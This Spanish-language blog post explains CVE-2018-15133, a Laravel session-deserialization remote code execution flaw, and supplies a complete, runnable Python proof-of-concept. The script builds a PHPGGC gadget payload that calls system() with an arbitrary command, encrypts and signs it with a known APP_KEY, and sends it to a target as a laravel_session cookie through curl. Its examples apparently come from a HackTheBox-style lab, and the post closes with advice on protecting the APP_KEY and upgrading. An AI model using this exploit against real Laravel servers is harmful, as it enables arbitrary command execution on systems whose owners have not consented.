Ir al contenido

CVE-2018-15133 PoC

Autor
Santiago Chavarro

Exploit de Ejecución Remota en Laravel: CVE-2018-15133 y su PoC en Python
#

Este post explica detalladamente una Prueba de Concepto (PoC) de un exploit para la vulnerabilidad CVE-2018-15133 en aplicaciones Laravel. Esta falla permite la ejecución remota de código (RCE) aprovechando la deserialización insegura, siempre y cuando el atacante tenga acceso a la clave APP_KEY utilizada por Laravel para cifrar las sesiones.

¿Qué es CVE-2018-15133?
#

Esta vulnerabilidad afecta a Laravel Framework en versiones hasta la 5.5.40 y desde la 5.6.0 hasta la 5.6.29. El problema radica en que el framework deserializa automáticamente las sesiones cifradas sin una validación adecuada de la integridad, particularmente en el valor del token X-XSRF-TOKEN, lo que puede permitir a un atacante ejecutar código PHP arbitrario en el servidor vulnerable.​

¿Cómo funciona la vulnerabilidad?
#

  • Laravel cifra las sesiones utilizando AES (AES-128-CBC o AES-256-CBC), generando un vector de inicialización (IV) aleatorio, el valor cifrado y un MAC (código de autenticación) para verificar la integridad de estos datos.

  • Cuando un usuario envía una cookie de sesión, Laravel descifra el contenido y automáticamente deserializa los datos.

  • Si un atacante conoce la clave APP_KEY, puede construir un payload especialmente diseñado que, al ser deserializado, activa funciones mágicas de PHP (__destruct(), __wakeup()) para ejecutar código arbitrario en el servidor.

  • Esta ejecución ocurre porque el proceso de deserialización no valida que el data recibido no haya sido manipulado antes de descifrar y ejecutar.​

Prueba de Concepto en Python El exploit escrito en Python realiza estas tareas principales:

  1. Creación del payload malicioso Se invoca la herramienta PHPGGC, que genera un payload serializado basado en gadgets de Laravel que ejecutan un comando en el sistema operativo:
cmd = ["./phpggc/phpggc", "Laravel/RCE5", f"system('{Comando}');", "-b"]
Este payload se decodifica de base64 a binario listo para cifrar.
  1. Cifrado del payload con la APP_KEY de Laravel La clave APP_KEY se procesa para decodificarla de base64 y se usa para cifrar el payload en modo AES-CBC con un vector de inicialización (IV) generado aleatoriamente. Se aplica padding PKCS7 antes de cifrar. Luego se calcula un MAC HMAC-SHA256 para garantizar la integridad del mensaje cifrado.

Los datos cifrados, el IV y el MAC se empaquetan en un JSON que se convierte a base64 para ser enviado.​

  1. Envío del payload malicioso al servidor Se usa curl para enviar una petición HTTP con la cookie laravel_session que contiene el payload cifrado. El servidor Laravel, al recibirla, descifra, deserializa y ejecuta el código malicioso contenido, ejecutando el comando especificado.​

Código clave Python explicado

def laravel_encrypt(data, key):
    if key.startswith("base64:"):
        key = key[7:]
    key += "=" * (-len(key) % 4)
    key = base64.b64decode(key)

    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(pad(data, AES.block_size))

    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(ciphertext).decode()
    payload = (iv_b64 + value_b64).encode()
    mac = HMAC.new(key, payload, SHA256).hexdigest()

    json_data = json.dumps({"iv": iv_b64, "value": value_b64, "mac": mac})
    return base64.b64encode(json_data.encode()).decode()
  • Decodifica la clave.

  • Genera IV y cifra el payload.

  • Genera MAC para autenticación.

  • Empaqueta los valores en JSON codificado en base64.

Uso del script de ejemplo
#

python exploit.py "base64:dGhpc2lzYXNlY3JldGtleQ==" "whoami" "http://target.htb"

Esto generará una carga útil que ejecutará el comando whoami en el servidor vulnerable al ser deserializado.​

Importancia de proteger la APP_KEY
#

Sin acceso a esta clave, la explotación no es posible. Por ello, mantener la APP_KEY segura y no exponer archivos .env o fuentes que la contengan es crucial para la seguridad en Laravel. También se recomienda actualizar a versiones posteriores donde esta vulnerabilidad está corregida.​

Script
#

import argparse
import base64
import json
import os
import subprocess
import sys

from Crypto.Cipher import AES
from Crypto.Hash import HMAC, SHA256
from Crypto.Util.Padding import pad


def main():
    parser = argparse.ArgumentParser(description="Script que recibe dos argumentos.")
    parser.add_argument("Laravel_Key", type=str, help="Key de laravel en base 64")
    parser.add_argument("Comando", type=str, help="Comando a ejecutar")
    parser.add_argument(
        "Dominio", type=str, help="Dominio a atacar por ejemplo 'http://lorax.htb'"
    )

    args = parser.parse_args()

    payload = crear_Payload(args.Comando)

    json = laravel_encrypt(payload, args.Laravel_Key)
    print(json)
    enviarPayload(json, args.Dominio)


def crear_Payload(Comando):
    cmd = ["./phpggc/phpggc", "Laravel/RCE5", f"system('{Comando}');", "-b"]

    payload_b64 = subprocess.check_output(cmd)
    payload_b64 = payload_b64.strip()
    payload_b64 = payload_b64.decode("utf-8")
    payload = base64.b64decode(payload_b64)
    print(payload)
    return payload


def laravel_encrypt(data, key):
    if key.startswith("base64:"):
        key = key[7:]
    key += "=" * (-len(key) % 4)

    try:
        key = base64.b64decode(key)
    except:
        print("[-] La llave proporcionada no es Base64 válido.")
        sys.exit(1)

    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(pad(data, AES.block_size))

    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(ciphertext).decode()
    payload = (iv_b64 + value_b64).encode()
    mac = HMAC.new(key, payload, SHA256).hexdigest()

    json_data = json.dumps({"iv": iv_b64, "value": value_b64, "mac": mac})
    return base64.b64encode(json_data.encode()).decode()


def enviarPayload(json, dominio):
    cmd = ["curl", "-s", "-H", f"Cookie: laravel_session={json}", dominio]
    resultado = subprocess.check_output(cmd)
    print(resultado)
    # system.so(curl -s -H "Cookie: laravel_session=$(php gen_serialized.php);" http://dev-staging-01.academy.)


if __name__ == "__main__":
    main()